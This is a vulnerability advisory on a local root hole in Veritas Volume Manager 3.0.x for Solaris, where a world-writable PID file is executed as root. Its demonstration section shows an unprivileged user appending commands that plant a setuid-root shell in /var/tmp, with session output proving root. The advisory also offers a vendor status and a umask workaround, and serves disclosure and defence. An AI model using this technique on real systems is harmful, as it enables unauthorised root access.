COMMAND

    Veritas Volume Manager

SYSTEMS AFFECTED

    Veritas Volume Manager 3.0.x

PROBLEM

    Dixie Flatline found following.  Veritas Volume Manager 3.0.x  for
    Solaris  contains  a  security  hole  which  can,  under  specific
    circumstances, allow local users to gain root access.

    When a system  with Veritas Volume  Manger 3.0.x installed  boots,
    the  initialization  script  for  the Storage Administrator Server
    (/etc/rc2.d/S96vmsa-server)  executes  without  first specifically
    setting  a  umask.    When  the  server   comes  up,  it   creates
    /var/opt/vmsa/logs/.server_pids with permissions  on the file  set
    according to the inherited umask.   Because there is no umask  set
    at  that  point  (under  some  versions  of Solaris, see below for
    details), permissions on the .server_pids file are set to 666.

    The  control  script  that  is  used  to start, stop and query the
    Storage   Administrator   Server   (/opt/VRTSvmsa/bin/vmsa_server)
    contains the following block of code:

        stop_server()
        {
                if [ -f $LOGDIR/.server_pids ];
                then
                        echo "Stopping $CNAME Server"
                        /bin/ksh $LOGDIR/.server_pids >/dev/null 2>&1
                        rm -f $LOGDIR/.server_pids
                else
                        echo "Unable to stop $CNAME Server"
                fi
        }

    When  this  function  is  invoked,  it  executes  the  contents of
    /var/opt/vmsa/logs/.server_pids.  As this file is world-writeable,
    an unprivileged user can put arbitrary commands into it, and  they
    will be executed as root when the offending function is run.   The
    stop_server() function  is only  called if  the superuser manually
    stops  the  Storage  Administrator  Server;  it  is NOT ordinarily
    called when the system shuts down.  However, if root ever uses the
    manual  shutdown  option  to   vmsa_server,  the  system  can   be
    compromised.

    Demonstration?

        # append our malicious commands to the world-writeable file

        foo@bar> id
        uid=500(foo) gid=25(programmers)
        foo@bar> ls -alt /var/opt/vmsa/logs/.server_pids
        -rw-rw-rw-   1 root     root          27 Jun  8 16:06 /var/opt/vmsa/logs/.server_pids
        foo@bar> cat >> /var/opt/vmsa/logs/.server_pids
        cp /bin/ksh /var/tmp; chmod 4755 /var/tmp/ksh
        ^D
        foo@bar> cat /var/opt/vmsa/logs/.server_pids
        kill 328
        kill 329
        kill 337
        cp /bin/ksh /var/tmp; chmod 4755 /var/tmp/ksh
        foo@bar>

        # wait for root to stop the server manually

        root@bar>  /opt/VRTSvmsa/bin/vmsa_server -k
        Stopping VERITAS VM Storage Administrator Server
        root@bar> ls -alt /var/tmp
        total 406
        drwxrwxrwt   2 sys      sys          512 Jun  8 17:46 .
        -rwsr-xr-x   1 root     other     192764 Jun  8 17:46 ksh
        -rw-------   1 root     root         387 Jun  8 17:46 wsconAAArqayVa:0.0
        drwxr-xr-x  26 root     sys          512 Jun  8 09:51 ..

        # as an unprivileged user, run the suid-root shell we just created...

        foo@bar> /var/tmp/ksh
        # id
        uid=500(foo) gid=25(programmers) euid=0(root)
        #

    Vulnerable are found to be Volume Manager 3.0.2, 3.0.3, 3.0.4.

SOLUTION

    According  to  the  vendor,  this  problem  is  not present in the
    current beta release  of 3.1.   Veritas also stated  that there is
    currently no plan to patch existing versions.

    All versions prior to Solaris 8 are vulnerable.  Solaris 8 sets  a
    umask of 022  during the boot  process, which keeps  this bug from
    causing a compromise.

    Perhaps a better fix would  be to change Storage Administrator  to
    only write process ID numbers to  /var/opt/vmsa/logs/.server_pids,
    and change the control script to extract only those PIDs from  the
    file, instead of executing the contents.  This would still require
    that permissions on that file be sane in order to avoid some level
    of  compromise  (otherwise,  an   unprivileged  user  could   kill
    arbitrary processes).  A better approach would be to use a utility
    like  pkill(1)  to  find  and  kill  the  appropriate processes (a
    functional equivalent could easily be coded into vmsa_server).

    Here's is workaround:

        umask 022
        echo "umask 022" > /etc/init.d/umask.sh
        for d in /etc/rc?.d
        do
            ln /etc/init.d/umask.sh $d/S00umask.sh
        done